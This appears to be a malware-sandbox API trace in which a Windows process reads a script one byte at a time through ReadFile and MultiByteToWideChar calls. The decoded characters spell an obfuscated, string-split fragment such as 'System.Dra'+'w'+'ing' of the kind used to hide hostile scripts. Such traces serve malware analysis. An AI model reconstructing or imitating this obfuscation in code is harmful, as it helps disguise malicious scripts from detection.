	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e418, cchWideChar=1 | out: lpWideCharStr="9") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e41a, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e41c, cchWideChar=1 | out: lpWideCharStr="x") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.671] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.671] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e41e, cchWideChar=1 | out: lpWideCharStr="S") returned 1
	[0058.671] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e420, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e422, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e424, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e426, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e428, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e42a, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.672] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.672] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e42c, cchWideChar=1 | out: lpWideCharStr="D") returned 1
	[0058.672] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e42e, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e430, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e432, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e434, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e436, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e438, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.673] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e43a, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.673] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.673] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e43c, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e43e, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e440, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e442, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e444, cchWideChar=1 | out: lpWideCharStr="g") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e446, cchWideChar=1 | out: lpWideCharStr="9") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e448, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.674] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.674] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.674] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e44a, cchWideChar=1 | out: lpWideCharStr="x") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e44c, cchWideChar=1 | out: lpWideCharStr=";") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e44e, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e450, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e452, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e454, cchWideChar=1 | out: lpWideCharStr="v") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e456, cchWideChar=1 | out: lpWideCharStr="6") returned 1
	[0058.675] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.675] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.675] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e458, cchWideChar=1 | out: lpWideCharStr="Q") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e45a, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e45c, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e45e, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e460, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e462, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.676] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.676] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.676] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e464, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0058.676] _get_osfhandle (_FileHandle=0) returned 0x58
